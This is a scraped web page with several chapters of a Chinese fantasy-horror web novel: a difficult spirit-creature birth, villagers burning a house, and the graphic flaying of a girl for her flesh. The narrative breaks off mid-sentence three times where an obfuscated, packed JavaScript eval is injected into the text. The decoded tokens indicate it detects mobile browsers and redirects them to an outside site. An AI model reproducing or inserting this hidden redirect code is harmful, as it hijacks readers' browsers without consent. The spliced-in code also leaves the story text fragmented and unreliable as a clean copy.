“那些人的身上,都长了好大的肉瘤子,好可怕!” 李大叔拍拍手,冷静安排道:“好戏开场了,杏子你留下给鸾镜帮忙,阿乞跟我走,我们去给村民们治病。” “好嘞!”阿乞答得爽快。 李大叔与阿乞刚走,银杏就挽住我的胳膊惴惴不安道: “镜镜,不知道为什么,今天我心里总是直打鼓……总觉得要有什么不好的事发生。” “别担心。” 我拍拍银杏手背,“李大叔和阿乞去劝他们归还肉芝片,就算那些村民不同意,对李大叔和阿乞起杀心,以李大叔与阿乞的本事,也足够自保了。银杏,我们要相信李大叔。” 银杏乖乖点头:“嗯!” 在给汪绵绵取肉芝之前,汪绵绵清醒了一会子。 银杏着急忙慌的替汪绵绵出去找一早就不见踪迹的赵大哥,我正要出门去外面守着,汪绵绵却脸色苍白的伸手抓住我的腕,气若游丝地低声道歉:“对不起……昨晚、昨晚我控制不住自己……” 我赶紧拍拍她的手安慰她:“没事,先别想那么多。嫂子,你很快就能好起来了。” 汪绵绵却泪眼婆娑地别过头,颤颤呜咽:“我好不了了……阿鸾,你是不是,一定要取走我肚子里的东西?” 我顿了顿,事到如今也没法再瞒她了,只能趁她还清醒努力和她解释:“嫂子,那东西只是想借你的肚子重生,如果不取出来,你会有性命之危的。” 汪绵绵听罢却坚持道: “阿鸾,我肚子里不是肉芝,是我的孩子!真的,我没有撒谎,我能感受到它在我肚子里动来动去。阿鸾,你能不能别伤害我的孩子!” “嫂子你先冷静。”我说服不了她只能极力安抚她的情绪:“我答应你,只会取走你腹中的肉芝,如果真有孩子,我绝不会伤害它。” “那就好。”汪绵绵双目噙着泪,这才放心松开我,痛苦闭上眼睛低喃:“是我造的孽,就算遭报应,也请全报应在我身上……孩子是无辜的。” 缓了缓,又哽咽自语:“哥,我对不起你。” 我拍拍汪绵绵的肩,“等会儿用药作法的时候可能会疼,持续的时间也比较久。嫂子,你忍一忍。银杏已经去找赵大哥了,他很快就会回来。” 汪绵绵张了张嘴,却眼神悲凉的没说出半个字。 上午九点,银杏与赵大哥还是没有回来。 我看了眼疼到嘴唇发白的汪绵绵,晓得不能再等了,只好先给汪绵绵喂了药,等肉芝与母体彻底剥离开再施法将肉芝逼出汪绵绵身体…… 李大叔的药刚入腹,汪绵绵的下身就开始流出透明液体。 “我的肚子,好凉……阿鸾,我是不是羊水破了,你救救我的孩子,救救它!”汪绵绵害怕地抓着我手含泪苦苦哀求。 我沉声抚慰:“不是羊水,嫂子你别怕,这只是将你腹中的肉芝与母体剥离的正常反应,这些水,是肉芝流出来的。” 肉芝已经在汪绵绵的体内养育八个月了,这八个月的时间足够肉芝长成九分熟,还好肉芝尚未完全成熟,不然,现在流出来的就是肉芝血了…… “你确定,这是从肉芝身上溢出来的?为什么我感觉不到痛……” 汪绵绵六神无主地向我求证,我耐心回答: “因为我们现在刚进行到第一步,等你身上干净了,我就可以用法术逼出肉芝了,那时才会痛。 不过,嫂子你还是要提前做心理准备,现在肉芝已经在你体内成了型,想要逼出它,你得经历一遍分娩之痛。” 汪绵绵闭紧双眼,两手紧揪着被罩,雪容憔悴:“只要不伤到我的孩子就好,我什么痛都能忍。” 我于心不忍地拿干净巾帕给她擦去额角冷汗。 四十分钟后,她身上的污水终于干净了。 我看了眼依旧安静的门外,开始施法帮她逼出腹内肉芝…… 怪的是,肉芝刚才流了那么多水,却不见汪绵绵腹部瘪下去一分一毫。 难不成还有变故? 但现在我已经没时间再考虑旁的了,得趁着肉芝与母体完全分离尽快下手,不然耽搁久了,肉芝这种灵物会为了求生本能的继续试图与母体融合。 我按照记忆中步骤阖目掐诀念咒,一诀成,大片红光顿时笼罩在汪绵绵的身上—— 下一刻,汪绵绵就疼得在床上打起了滚。 “痛、好痛!” “阿鸾,轻些……我快要痛**,好像五脏六腑都被一股力量绞住了!” “哥,哥我疼,救我,哥——” 我瞧着汪绵绵满身是汗长发凌乱的痛苦模样,不忍心地咬咬牙,硬着头皮继续加大手上法力。 汪绵绵肚子里的肉芝也在感应到危险后,疯狂于汪绵绵腹内四处逃窜,肉鼓鼓的东西顶得汪绵绵肚皮东凸一块西凹一块…… “哥,我好疼,哥!”汪绵绵双手紧攥着两侧枕套,疼到流眼泪。 不久,汪绵绵的腹部突然再次鼓高了一大圈,原本宽松搭在肚皮上的纯棉睡衣这会子却紧紧绷在汪绵绵高高隆起的腹部,勒得汪绵绵呼吸困难! “阿鸾,我要喘不过气了,我好难受……” 我闻言立马艰难地单手稳住法力,环视一圈,目光落在床尾不远处的箱盖上,伸手用灵力把竹筐内的剪刀收过来。 矮身坐在汪绵绵床边,小心翼翼地剪开汪绵绵身上睡衣…… 汪绵绵的身体没了睡衣束缚,里面的肉芝在她肚皮下折腾得更厉害了。 我见状赶忙咬破食指,在汪绵绵的腹部画下一道血符。 血符成型,金光乍现,符咒的灵力总算是压制住了汪绵绵肚子里的东西。 我站起身,接着施法给汪绵绵打掉肉芝……只是,再要用力时,我手臂上的伤处却剧烈地疼了起来。 我咬住唇角,强行用灵力压下伤口撕痛,抬指换了个灵术。 奈何还没来得及发力,阿乞就慌促从外跑了回来:“镜镜姐,不好了!” 我分神回头瞥了他一眼,立即挥手用棉被盖住汪绵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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重生后的王母肉芝会比从前灵气更重,王母肉芝一旦成精,她肯定会毁了整个孟春寨。 届时宋淑贞再出面降服王母肉芝,王母肉芝就名正言顺属于宋淑贞了。 她这是为了得到肉芝,不惜以半村人的性命做交换!” 我低声说完,又问阿乞:“那孟春寨的村民们现在进行到哪一步了?” 阿乞蹙眉严肃说: “我过来的时候,他们已经往祖祠赶了,现在估摸已经把王母灵女给带出来了! 镜镜姐,师叔祖让我转告你,王母灵女那边有他帮忙拖着,让你尽快解决掉绵绵嫂子肚子里的东西!” 我闷嗯了声,转头向阿乞求助:“你手里是不是有很多仙丹灵药,有没有解毒或者止痛的丹药?” “有!”阿乞快速从腰间斜挎布包里翻出一红一黑两种颜色的丹药:“红色是解毒丸,黑色是止痛丹。绵绵嫂子**了?” 我没有回答,先将黑色那颗拿起来塞进汪绵绵嘴里。 又把红色药丸闷进自己口中。 阿乞张嘴想问些什么,却在余光无意扫见我手臂上被血濡湿的衣物后,又把话噎下了嗓门眼。 “你快去帮李大叔吧,这边有我在!”我闷声催促。 阿乞摇摇头: “师叔祖说了,让我跟在你身边,以备不时之需。 师叔祖的意思是,既然许三筒都来孟春寨了,大祭司和宋花枝那边肯定也在盯着肉芝。 肉芝的灵胎在绵绵嫂子腹中,大祭司她们想要一棵完整的肉芝,肯定会设法阻止你打掉灵胎,难保不会亲自过来和你抢夺肉芝灵胎。 你还要照顾绵绵嫂子,不能总被惊扰分神,我留在你身边也能给你**!” 我思忖片刻,点头应下:“这样也好。” 有阿乞在的确多层保障。 我有条不紊地运灵力助汪绵绵分娩,但令我意外的是,宋淑贞给我下的巫毒倒是霸道。 这毒只会在我运功使用灵力的时候才会迅速扩散至全身,悄然发作。 第70章 肉芝裹着孩子…… 难怪我昨晚没什么感觉。 我原以为这点小毒靠我自个儿完全能解决,没想到,我到底还是低估了她们的手段。 很难想象昨晚那一刀若是真**我心脏,我会落得个如何凄惨的下场。 手臂的伤口内似有万千只无形的蚁虫,顺着我的血液密密麻麻爬遍我全身,肆意啃咬着我的筋骨与脑髓。 我晃了晃隐隐作痛的脑袋,努力保持清醒。 躺在床上的汪绵绵痛得全身汗如水洗,双手死死拧着被子,咬牙痛苦闷哼。 我哑声安慰她:“别怕,很快就好,马上!” 抬手化出一张空白的黄符,我正要召出鹰血毛笔在黄纸上绘出符文,谁成想门外竟忽然传来一阵杂乱的脚步声。 我手上一顿,阿乞立马警惕地跑出卧房,冲去堂屋门口,待看清外面情况后,麻利的将院门闩上。 “镜镜姐,是许三筒带人来了!”阿乞合上堂屋门,提心吊胆地与我道。 而他话音刚落,院外就传来村民们的用力砸门声—— “开门!给我开门!” “大河在家吗?我一早好像看见他进山了。” “就算赵大河不在家,他那个下不了床的老婆也肯定在家!” “就是,我刚才还瞧见这院子里有个十二三岁的孩子,就是他把院门关上的!” “不给咱们开门,咱们就砸门!乡亲们,大不了把他家大门卸了,今天我们必须要把赵大河的老婆带到祠堂,一起烧死!” “赵大河老婆可是汪木匠闺女,哎呦,汪木匠生前对咱们有恩啊!咱们现在这样对他女儿,他泉下有知,怕是会怪罪的哦……” “老许不是说了么,只要把汪绵绵带去祖祠,用圣火过身,就能彻底烧死王母肉芝,这样王母灵女的肉就会永远属于咱们,咱们就不怕王母肉芝成精报复了!” “对,为了咱们整个孟春寨的安危着想,咱们必须把王母肉芝斩草除根,不能留下后患!” 外面的这群人,可真是不见棺材不掉泪。 拍了好一会儿也不见有人开门,我总算又听见许三筒那个王八蛋的声音了:“里面的人给我听着,速速将汪绵绵交出来,不然别怪我不留情面了!” 只差一点,我就能把肉芝的分身逼出来了…… 我用尽全力,急得额角汗水淋淋,眼见着胜利就在前方,岂料紧要关头许三筒那王八蛋竟然往院子里扔来一把法器—— 法器的强大灵力猛地震断我手上咒术,本来已被止痛丹安抚平静下来的汪绵绵顿时撕心裂肺地惨叫出声,双掌被掐出大片殷红血液,失去束缚的肉芝更是趁机想要破体而出…… 我心头一惊,立即扑向汪绵绵,双手蓄起灵力拼命按住哀嚎打滚的汪绵绵,压下汪绵绵腹中那急眼想要提前出世的肉芝…… “阿鸾妹妹,疼,哥,我不行了,绵绵对不起你,绵绵先走一步了——” 汪绵绵崩溃的嚎啕大哭,身下血水顷刻濡湿床榻。 我昂头看向悬在房梁下那柄驱魔镇邪的莲花杵,恼怒一掌将其击落下来。 这些王八蛋是故意的!他们用法器对付汪绵绵,就是想逼汪绵绵体内的肉芝发疯,这样它便会立刻破体而出! 阿乞伸手接住莲花杵,忍无可忍道:“我去骂那个许三筒一顿!” 奈何阿乞到底还是少年心性,根本没经历过现实的毒打。 阿乞在月阴村是人尽皆知的大长老,可在孟春寨,没人知道他的**。 就算他主动暴露自己是阴苗族大长老,以大长老的身份呵斥许三筒,只要许三筒不承认,他这个大长老就是假货。 许三筒向来是大祭司身后的狗腿子,脑子灵活着呢,阿乞跑出去隔着院门命令他赶紧带人退下,可他却故意装傻充愣,以没见到阿乞**为由,反将了阿乞一军。 逼阿乞开门与他相见,不然阿乞就是胆大包天冒充大长老。 阿乞自然知道许三筒打的是什么主意,院门一开,就算阿乞有法力,也拦不住这么多村民。 两人唇枪舌战了三分钟,阿乞眼见着吵不过对方就着急撤了回来。 “太过分了,那个许三筒明明认出了我的声音,却故意怀疑我冒名顶替! 镜镜姐,院门的门框已经被他们撞变形了,咱们该怎么办啊! 外面人太多了,我趴门缝瞧了眼,至少有二十来个身强体壮的老爷们!” 我满头热汗筋疲力尽地趴在汪绵绵身上,咬咬牙狠心道: “先前我害怕损了嫂子的身体才舍近求远用力道温柔的咒术给嫂子打胎,现在看来,只能用强了!子宫受损总好过爆体而亡!” “镜镜姐……”阿乞犹豫了两秒,谁知下一瞬,浓烟就透过窗缝弥漫了进来,“不好!那些人放火烧院子了!” 我手忙脚乱地团了团毛巾强行塞进汪绵绵嘴里,忍着强烈的晕眩感,撕掉袖口一截黑纱。 黑纱一端咬在嘴里,另一端用力缠在浸血的手臂上,手指利索地给黑纱打了个死结。 “嫂子,对不起,我这一次真要下狠手了!可能,会损伤你的子宫,但当下关头还是命重要!” 汪绵绵闻言立马反抗着要起身,哭着用湿润眼神哀求我不要…… 我立即用灵力束缚住了她的手脚,抬掌打算直接将肉芝打晕在她腹中,然后再亲自……上手掏出那团活肉。 手掌重重压在她的腹部,我紧绷着额角青筋,一寸一寸地将肉芝往下她身下逼。 她咬着毛巾哭到气竭无力…… 肉芝就要破体而出那一刹,我忽然发现汪绵绵的身下,再次溢出了一滩透明液体。 那不明液体,并不属于肉芝。 难道,这次才是、羊水…… 我顿觉头皮一麻,一手稳住法力控制肉芝,一手重新施法再探汪绵绵腹部。 而这次,却让我发现了一个令人浑身起鸡皮疙瘩的恐怖真相! 怪不得我和李大叔给她探了好几次脉,都只探出肉芝,没有探到其他存在。 原来是,肉芝紧紧将孩子包裹其中…… 如今肉芝被我削弱了力量,我才能顺利探到孩子的存在……肉芝受损,萎缩的活肉挤压到了孩子,所以才会破了羊水。 汪绵绵是真的怀孕了。 也是真的要生了! 外面的大火很快便吞噬进了堂屋,我一把拉住阿乞,着急问道:“后门外有人吗?” 阿乞谨慎摇头:“没有!后门外除了茅厕就是一片小池塘,路不好走,他们都在前门围着!” “你先去外面等我,我帮嫂子披件衣服,等会儿我们一起从后门逃出去!” 阿乞虽然不明白我为何突然停手,但危急关头还是选择完全信任我,我怎么安排他就怎么做。 我从衣柜里翻出一件干净被单,她这个情况,原来的衣服是穿不上了。 用被单裹住身体刚好! 松开捆住她手脚的灵力,我把她嘴里的毛巾**,扶着奄奄一息的瘦弱女人担忧叮嘱: “嫂子,你羊水破了,我得找个地方给你接生,外面人太多,硬碰硬我们占不到便宜,我现在带你找个安全地方,好帮你生产!” 原本眸色黯沉的女人在听见自己的孩子就要出生了的消息后,立马强打起精神,用力攥住我的胳膊,气若游丝地苦苦哀求:“孩子,保住我的孩子……” “好。”我坚定应下。 用被单将汪绵绵裹严实后,我背起行动困难的汪绵绵,迅速出门与阿乞会面。 阿乞早早打开后门等我一起走,离开赵家的路上,我将汪绵绵的情况简单与阿乞说了遍。 阿乞听完,拉着我一路向东赶,稳重冷静道:“去龙神庙!那地方仙气浩瀚,妖魔不敢轻易靠近!” 我惊愕道:“你要让嫂子在龙神庙生孩子?孟春寨的龙神庙供奉的可是华桑大帝。” 阿乞拽着我的袖子坚持道: “你放心,神明向来慈悲为怀,我们这不也是被逼得走投无路才不得已在他的神庙中见血吗?再说,华桑大帝是你家家神,有你在,他不会计较的!” 我想了想,点头答应。 阿乞说得对,华桑大帝是九黎山一带的主神,又是我家供奉的家神,就算怪罪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可我、没时间了。九叔公说,我最多、只剩两年寿元,我想给哥,留个后。” “我想给他留个活下去的精神支柱,我和哥、相识十年,夫妻八载,我们、恩爱非常。” “然,我命薄,天生体弱,寿数短暂。哥的前半生,很苦……我不想,让他更苦。” “我不敢把自己寿元不长的消息告诉哥,所以、我才到处寻找、能让自己怀孕的方法……” “我怕哥,承受不住打击,跟随我而去。” “去年,我无意撞见、大祭司,她和我说,吃了肉芝的肉……便能如愿以偿。” “是我、私心作怪……” “阿鸾,有些话,我不说,就没机会了。” “大祭司、告诉我,哥想打掉我腹中的孩子,我太想留住这个孩子了,才吃了她、给的药……” “我其实、也知道自己肚子里,怀的是肉芝,可我就是、不死心……只要有半分可能是孩子,我都要护住它,生下它……” “替我,向依依,说一声对不起。” 紧要关头,她说完这些话,突然两眼一闭晕**过去。 “嫂子!” “绵绵!” 一早就不见踪影的赵大哥与银杏总算找了过来。 银杏扶住被血水浸湿整只袖子的我,赵大哥则心急如焚地从胸口掏出一包野山果,攥住汪绵绵葱白纤长的指尖,害怕的呼唤:“绵绵,绵绵你醒醒,不要睡!” 躺在地上意识不清的汪绵绵听见赵大哥的声音,拼尽全力睁开眼皮。 看见赵大哥那一刹,立马情绪激动的痛哭出声:“哥、我好想你……” 赵大哥忙将手里的野山果送到汪绵绵眼前,泪流满面地轻哄: “早上你说,你想吃我们初见时,我给你摘的野山梅,现在我给你摘来了…… 绵绵,你千万不要睡!哥在呢,哥永远陪着你,你不要离开哥,哥求你!” “哥……” 第71章 剥了王母灵女的皮肉 银杏将手上的脏泥巴往裙子上蹭了蹭,神色凝重道: “嫂子早上说,想吃野山梅,赵大哥怕嫂子……就立即上山去摘了,想让嫂子在、那啥之前,不留遗憾。 可现在这个时节哪还有野山梅了,只有东山密林深处,或许气温低,还能找到一些。 我是在山坡下找到赵大哥的,要不是我出现得及时,赵大哥就被狼吃了。 赵大哥失足摔下山坡,腿都摔断了,我想带他回来,他却执意往东山密林闯,没办法,我只能跟着他一起进密林了。 好在我们运气好,刚进去就看见了两棵梅子树。 昨晚,我们说的话赵大哥都听见了,赵大哥是害怕、嫂子以后再也吃不到了……” 汪绵绵张嘴虚弱地含住一枚野山梅,心满意足地抿唇又笑又哭: “还是、当年的味道……哥、阿鸾妹妹说,我们真的,有个孩子……哥,我们有孩子了。” 赵大哥心疼地摸摸汪绵绵脑袋,不敢说丧气话,只能笑比哭还难看地柔声给汪绵绵加油打气: “好,绵绵,我会照顾好我们的孩子,你放心。绵绵,等你生下孩子我就带你回家,以后,我养着你,养着孩子……” “哥。” 我趁此机会赶紧蹲回地上,用法力助汪绵绵生子。 “赵大哥,你多陪陪嫂子说说话,嫂子,你加把劲,已经快出来了!” “哥,我疼,啊——” 一声撕心裂肺的痛苦呐喊后,鲜红的活肉总算被她排出了体外…… 活肉蠕动,黏糊糊的肉团里,有婴儿伸出小手,哇哇哭泣。 “生了!嫂子生了,快给我看看是男是女!”银杏激动地上前要抱孩子,但却在看见那团一张一翕的血肉时,立刻打起了退堂鼓……“我的妈耶,怎么生了团肉!” 阿乞跑过来,抬掌就要把肉芝打死:“这祸害,都是它害得眠眠嫂子遭了这么多罪,我拍死它!” “不要!”我接住阿乞的手腕,及时拦下。 阿乞不明所以地昂头看我:“镜镜姐,你为什么不让我弄死它?” 我忙用法术包裹住肉芝,以防它逃走: “它没罪,它只是想活着,有什么错?况且,王母灵女说得对,没人逼嫂子吃肉芝…… 王母灵女已经很可怜了,她如今命在旦夕,万一李大叔没能拦得住那些人,有这棵肉芝在,她还能重生。 你把肉芝打**,她就失去了重生的机会,一旦被火烧死就会灰飞烟灭。 她,其实没伤人,她嘴上说的狠心,实际上,她也不忍害死自己的亲姐姐。 这棵肉芝明明可以将婴儿吞噬消化掉的,可它还是纵容婴儿与自己共生。 她不坏,我们也没必要赶尽杀绝。” 阿乞与银杏听完我的话,相视一眼,面露难色。 银杏胆怯地指着肉芝问:“那现在、我们该怎么办?” 我淡淡道:“肉芝已经成熟了,孩子虽然早产,但身体健康。我们设法把孩子从肉芝里掏出来,孩子给赵大哥,肉芝,还给王母灵女。” 银杏点点头:“也好。” 但,我刚要伸手掏出活肉里的孩子,外面就忽然掀起了一阵裹着荒叶的飓风…… 飓风狂猛地直奔神庙内袭来,不远处的山岗里,甚至还传出几声此起彼伏的狐狸叫声。 阿乞面上一白,立时张开双臂将抱着肉芝的我护在身后:“是灰狐仙来抢肉芝了!” 躺在赵大哥怀里休养生息的汪绵绵顿时惊惶坐起身:“我的孩子——” 狂风席卷进神庙大门的同时,数只皮**颜色不同的狐狸也龇牙咧嘴地从外扑涌入门,朝我们狂奔而来…… 我认识这些花白狐狸,她们,是灰狐仙狐狸洞里的母狐! 阿乞急着施法掐诀,可,令我们所有人都没想到的是,下一秒龙神庙内这尊高大威武的龙神神像突然绽出刺眼金色强光—— 神力瞬间震飞了那些狂扑进庙的野狐狸。 一声低沉神谕愠怒传出:“滚!” 吓得那些妄想袭击我们的母狐狸撒腿就往庙外仓促而逃。 卷着荒叶的飓风反袭向那些母狐,有几只跑得慢的愣是被狂风给卷至半空像摇奶茶一般,摇了几十圈方被丢出十里开外…… “这是、龙神大人显灵了!”阿乞惊讶瞪大眼。 我愕然转身,看向神庙正殿高高耸立的那尊不怒自威身形颀长、墨发古袍的神像,莫名一阵心安。 “关键时刻还是华桑大帝最顶用。” 银杏赶紧双手合十跑神像跟前拜拜: “华桑大帝在上,信女多谢华桑大帝出手相救,华桑大帝保佑嫂子和孩子一切平安,保佑孟春寨顺利度过此劫,保佑王母灵女转危为安。” 提到王母灵女,我立即安排道: “等会儿阿乞就留在神庙里保护赵大哥和嫂子,还有刚出生的孩子,嫂子刚刚生产还不能见风。我和银杏去祖祠与李大叔碰面!” “好!”阿乞点头应下。 我把怀里的肉芝送给一脸嫌弃的阿乞抱着。 随后,伸出双手,**湿哒哒、尚在小心蠕动的活肉里…… 掰开黏糊物,将里面胡乱挥舞双手的孩子掐腰抱出来—— 银杏忍不住地别过头干哕出声,阿乞也受不了地闭紧双目,不看眼前这诡异的一幕。 我将浑身裹满透明粘状物的婴儿抱进怀里,脱下墨色外衣,简单包裹住, “现在还没条件给孩子洗澡,家里肯定回不去了。阿乞,赵大哥和嫂子就交给你了。” 阿乞匆忙把孩子换过去,肉芝还给我,点头如捣蒜地答应:“放心好了!” 银杏看不下去的也脱掉绣花小马甲塞给我:“把这团肉包起来吧……直接揣在怀里好恶心。” 我嗯了声,将溢着血水与透明粘液的肉芝用银杏外衣兜住。 与赵大哥他们道完别,我和银杏便匆匆下了山,回寨子里救王母灵女。 半个小时后,我与银杏一路小跑成功抵达孟春寨祖祠门口。 彼时祖祠大门外的祭台已被点起了烈火,孟春寨那些被贪欲冲昏头的村民们正哄吵着要平分供桌上的那摊肉…… “我再强调一遍,一片肉,两万块!只能多不能少,想白嫖的,趁早收了这个心思!” 站在供桌前的中年男人红光满面中气十足地掐腰吆喝。 而他身边的中年妇人则攥着一大把红彤彤的钞票,啐了口吐沫在指尖,数钱数得哗哗响,两眼放光一脸兴奋,全然不顾背后熊熊燃烧的吞天烈火。 有村民激动反驳: “肖老三,你过分了哈,刚才咱们可都说好的,我们帮你按住你闺女,卸去你闺女全身的肉,你作为回报,会分给咱们一片肉芝,现在肉卸下来了,火点上了,你难不成要出尔反尔过河拆桥?” 紧接着有女人们着急附和:“就是!哎呦喂村长,你可得给咱们做主!这肖老三想钱想疯了!这肉是咱们合伙卸下来的,就该咱们平分来着!” “两万块钱?你还真敢狮子大开口,别以为我们不知道,你之前还是一万五一块肉呢!今天肉卸下来了,你就坐地起价?” “大家都是邻里邻居,肖老三你这么做可不地道!” 中年男人当即理直气壮地反驳: “从前是取肉困难,所以我才低价售卖,现在肉就在桌子上,我涨点价,你们少点麻烦,咱们一手交钱一手交货! 我是说过事成会分给你们一片肉,但我说的,是分给你们所有人一片肉,可不是每个人一片肉。 要么,你们现在就拿着这片肉滚蛋,要么都赶紧掏钱! 今天清仓大甩卖,过了这个村以后可就没这个店了!” 男人说完,从供桌上血糊糊的**里,拿刀削掉一片薄薄的肉皮,随手扔给其中一个村民:“呐,报酬给了!” 村民仓皇接住那片比纸还薄的肉芝片,定睛一看,顿时大发雷霆: “好你个肖老三,寨子里人人都知道你猴精,没想到你把心眼子都用到咱们这些乡里乡亲身上了! 这么薄的一片肉,连一个人塞牙缝都不够!你和咱们玩心眼,肖老三,你还想不想在寨子里待了!” 男人厚颜无耻的双臂环胸,一副死猪不怕开水烫的形象,讥讽道: “嫌少?嫌少拿钱买啊!明码标价,两万块钱一片肉,一片一两,童叟无欺!肉芝是我家生出来的,你去集上买菜还得给人家钱呢!” “可是两万块钱不是笔小数目,咱们这些大山里的小老百姓哪来这么多钱啊!就算是倾家荡产把家里几亩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135689|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 田卖了,一时半会也凑不齐两万啊!” “肖老三你这是趁火**啊!你别太过分,肉芝虽然是你家婆娘生的,但你别忘记了,刚才肉芝差点跑了,要不是咱们给你按着,你能卸完肉芝身上的肉?我劝你啊见好就收!” “肉芝的肉是大家一起割下来的,就该大家平分。” “乡亲们,肖老三坐地起价不道德,找咱们要这么多钱,咱们就不买!这肉割下来现在正新鲜,可再过一两个小时就要开始发臭了,到时候还没人买他的肉,我看他拿什么赚钱去!” “肖老三,你现在把肉给大家平分了,大家还能念你个好,要是真等到肉烂了臭了,那你可就要人财两空了!” 村民们试图劝中年男人松口,可中年男人仍油盐不进地死咬不放,说话难听地大放厥词:“那咋啦!你们不给钱,我就算肉烂了也不白给你们!” “肖老三,你还是个人吗!你简直太不可理喻的!今天不管怎样,肉我们都要得到!如今王母灵女已经被火烧了,王母肉芝就该大家共有!” “对,肉芝是我们整个孟春寨的公有物,你要是不给,我们就抢!” “肉芝是我们大家的,乡亲们,我们动手,抢肉芝,平分!” 现场瞬间乱成一团,原本在边上看热闹的许三筒等月阴村的人见状也趁机挤进去,加入了抢肉芝的队伍。 我昂头放眼望去,只见祭台的十字木架上,绑着一名麻布披身,长发被血黏成一块一块,低垂着脑袋,奄奄一息的少女…… 裸露在外的一小截胳膊与小腿,仅剩下森森白骨…… 一片肉都没留。 他们……把王母灵女全身的肉,都剔下来了! 被我搂在怀里的活肉感应到王母灵女在附近,激动地蠕动肉体,想要朝王母灵女飞去…… 我忙按住不安分的肉芝,用衣物将它包裹得更严实些。 祭台上的少女也察觉到了分身的存在,吊着一口气艰难昂头…… 满脸是血,伤痕累累的虚弱冲我们苦涩一笑…… 看清她面部伤口的那一刻,我只觉一阵森冷寒意迅速袭面而来,将我包裹其中,丝丝冰凉无情钻进了全身骨缝里—— 孟春寨的那些人,竟然连她的脸都不放过,活活剥了她的面皮,剜了她双腮两块面颊肉! “啊!”银杏被少女过于可怕的笑容给吓得捂嘴后退一步。 藏在我怀里的那团肉也气喘吁吁地疯狂蠕动着。 我轻轻抚摸着它,无声安抚它的情绪。 我知道,她很疼…… 被几个村民压跪在祭台正前方的李大叔挣扎着愤恨道: “王母肉芝投了胎,生下地就是真正的人!你们怎么能为了一己私欲活活剥了她全身皮肉呢! 你们就不怕遭报应吗!王母灵女给过你们机会,只要你们把吃过的肉还给她……” 然而不等李大叔说完一五十来岁的女人就没好气打断道: “行了行了,老李你这话都念几十遍了!我耳朵都听出茧子来了! 你不就是想说,只要我们把肉还给这个小野种,这个小野种就会放我们一马嘛。 如果老许没来孟春寨传话,我们或许还会考虑你的建议,但现在咱们明明已经有了更好的选择,既不用把肉还回去,又不用遭报应。 只需要一把火,把小野种烧干净了,我们就没有后顾之忧了,那我们干嘛还要听你的话做赔本买卖啊!” 李大叔紧锁眉头低斥: “肉芝是天地间的灵物!你们吃它,难道就不怕损阴德吗?你们还要烧死她,一旦触怒上苍,整个孟春寨就彻底没有活路了!” “得得得,你少危言耸听!” 老女人不耐烦地挥挥手, “你不就是也想分一杯羹,尝尝肉芝的味道嘛。放心,等会儿咱们把肉分了,给你尝一块!” “你们若现在回头,还来得及……”李大叔不死心地沉声劝道。 人群深处的易村长呵斥完**的村民,闻言也走出来,双手背后,面色凝重地与李大叔说: “老李,看在咱们相识多年的份上,我不计较你胡言乱语。你如果真想要肉芝,我们可以送你一片,但刚才那种话,就不要说了。 大喜日子,别扫咱们的兴。” 第72章 既然你没用,那就别活了 “老易,连你也糊涂了!”李大叔老脸发青的无奈盯着易村长。 易村长摆摆手叹息道: “我这不是糊涂,是识时务!老李,肉芝既然出现在咱们孟春寨,就是给咱们吃的。 前几天我听说一件事,说你们月阴村的长生宫,其实是个鬼宫,长生泉的泉水之所以有延年益寿功效,是因为里面掺了阴命女的尸油。 你们月阴村既然能为了追求长生,连续十七年献祭长生玉女,咱们孟春寨为什么不能为了让自己过得更好,杀掉一个人? 再说,肉芝就是肉芝,变成人了也是肉芝,她根本不算人,天地间的灵物生来就是给人吃的。 它就算不落进咱们手里,也会落进别人手里,就算咱们不吃它,也有的是人吃它! 收收你那些危言耸听的大道理吧,上苍要是连这种小事都管,那世上早就没有不公事了!” “老易!” 李大叔还要再劝,却被易村长抬手拦下, “行了!说到底这也是我孟春寨的事,大祭司都不拦我们,你又有什么资格说三道四!我敬你是李老,才三番五次给你面子,你可不要给脸不要脸!” 紧接着又转身与吵得脸红脖子粗的村民们道: “王母肉芝再怎么说也是肖老三家养出来的,大家平分确实不太好,这样,我就做个中间人,代大家伙儿与肖老三两口子商量商量。 大家说得对,肉还是得趁新鲜吃,放久了可能就坏了!老三你们不愿意无偿分给乡亲们,那咱们不如想个折中的法子。 老三你也别坐地起价了,最近天热,肉不等人,你实在些,五千,五千卖给咱们村的邻居们!” “五千?” 肖老三的老婆当即将手里红彤彤的钞票塞怀里,表情夸张道: “哎呦喂村长,你还说咱们两口子坐地起价,您看看您,这和趁火**有什么区别?!” 肖老三也冷着脸愤怒挥手: “不成!村长你一句话砍掉四分之三的价钱,我家肉芝又不是卖不出去!没听说过一句话么,叫,法不轻传,道、道不贱卖! 我家的肉芝那可是以形补形的好东西,没听老李说吗,那是天地间的灵物,和长生不老的仙丹差不多。 我问你们,你们的命就值五千块钱吗?” “你!”村民们被肖老三一句话堵得没了言语。 村长一本正经地又道: “行了!别成天给我拽文,那我问你,你听说过物以稀为贵吗?人上街上买菜还挑最新鲜的呢,买鱼还买活鱼呢! 你再叽叽歪歪,你这肉连五千块钱都卖不出去了,何况,谁知道你这肉离体太久会不会失去一部分功效。 你要是识趣,就赶紧把肉买了,你这肉多着呢,薄利多销你晓得么?” 